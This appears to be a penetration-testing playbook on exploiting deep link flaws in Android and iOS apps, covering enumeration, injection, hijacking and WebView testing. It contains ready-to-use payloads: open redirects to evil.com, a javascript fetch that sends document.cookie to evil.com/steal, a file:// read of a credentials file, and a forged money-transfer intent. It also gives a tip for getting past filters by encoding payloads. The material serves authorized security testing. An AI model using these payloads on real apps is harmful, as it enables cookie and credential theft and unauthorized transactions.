Exploiting Deep Link Vulnerabilities
When to Use
Use this skill when:
- Assessing mobile app deep link handling for injection and redirect vulnerabilities
- Testing Android intent filters and iOS URL scheme handlers for unauthorized access
- Evaluating App Links (Android) and Universal Links (iOS) verification
- Testing for link hijacking via competing app registrations
Do not use without authorization -- deep link exploitation can trigger unintended actions in target applications.
Prerequisites
- Android device with ADB or iOS device with Objection/Frida
- APK decompiled with apktool or JADX for AndroidManifest.xml analysis
- Knowledge of target app's registered URL schemes and intent filters
- Drozer for Android intent testing
- Burp Suite for intercepting deep link-triggered API calls
Workflow
Step 1: Enumerate Deep Link Entry Points
Android - Extract from AndroidManifest.xml:
apktool d target.apk -o decompiled/
grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml
iOS - Extract from Info.plist:
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes"
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains"
curl https://target.com/.well-known/apple-app-site-association
Step 2: Test Deep Link Injection
Android via ADB:
adb shell am start -a android.intent.action.VIEW \
-d "myapp://dashboard?user_id=1337" com.target.app
adb shell am start -a android.intent.action.VIEW \
-d "myapp://profile?redirect=https://evil.com" com.target.app
adb shell am start -a android.intent.action.VIEW \
-d "myapp://navigate?path=../../../admin" com.target.app
adb shell am start -a android.intent.action.VIEW \
-d "myapp://webview?url=javascript:alert(document.cookie)" com.target.app
adb shell am start -a android.intent.action.VIEW \
-d "myapp://transfer?amount=1000&to=attacker" \
--es extra_param "injected_value" com.target.app
iOS via Safari or command line:
frida -U -n TargetApp -e '
ObjC.classes.UIApplication.sharedApplication()
.openURL_(ObjC.classes.NSURL.URLWithString_("myapp://profile?redirect=https://evil.com"));
'
Step 3: Test Link Hijacking
Android:
adb shell pm get-app-links com.target.app
Step 4: Test WebView Deep Link Loading
adb shell am start -d "myapp://open?url=https://evil.com" com.target.app
adb shell am start -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/creds.xml"
adb shell am start -d "myapp://open?url=javascript:fetch('https://evil.com/steal?cookie='+document.cookie)"
Step 5: Assess Parameter Validation
Test each deep link parameter for:
- SQL injection in parameters that query local databases
- Path traversal in file path parameters
- SSRF in URL parameters that trigger server requests
- Authentication bypass via user_id or session parameters
Key Concepts
| Term | Definition |
|---|
| Custom URL Scheme | App-registered protocol (myapp://) that routes to specific app handlers when invoked |
| App Links (Android) | Verified HTTPS deep links that bypass the chooser dialog and open directly in the verified app |
| Universal Links (iOS) | Apple's verified deep linking using apple-app-site-association JSON file on the web domain |
| Intent Hijacking | Malicious app intercepting deep links by registering the same URL scheme or intent filter |
| WebView Bridge | JavaScript interface exposed to WebView content, potentially accessible via deep link-loaded URLs |
Tools & Systems
- ADB: Android command-line tool for invoking deep links via
am start
- Drozer: Android security framework for testing intent-based attack surface
- apktool: APK decompiler for extracting AndroidManifest.xml and intent filter definitions
- Frida: Dynamic instrumentation for hooking URL scheme handlers at runtime
- Burp Suite: Proxy for intercepting API calls triggered by deep link navigation
Common Pitfalls
- App Links verification: Android App Links with verified domain associations are resistant to hijacking. Check
assetlinks.json at https://domain/.well-known/assetlinks.json.
- Fragment handling: Some apps process URL fragments (#) differently than query parameters (?). Test both.
- Encoding bypass: URL-encode payloads to bypass client-side input filtering in deep link handlers.
- Multi-step deep links: Some deep links require authentication state. Test after login and before login to assess authorization enforcement.
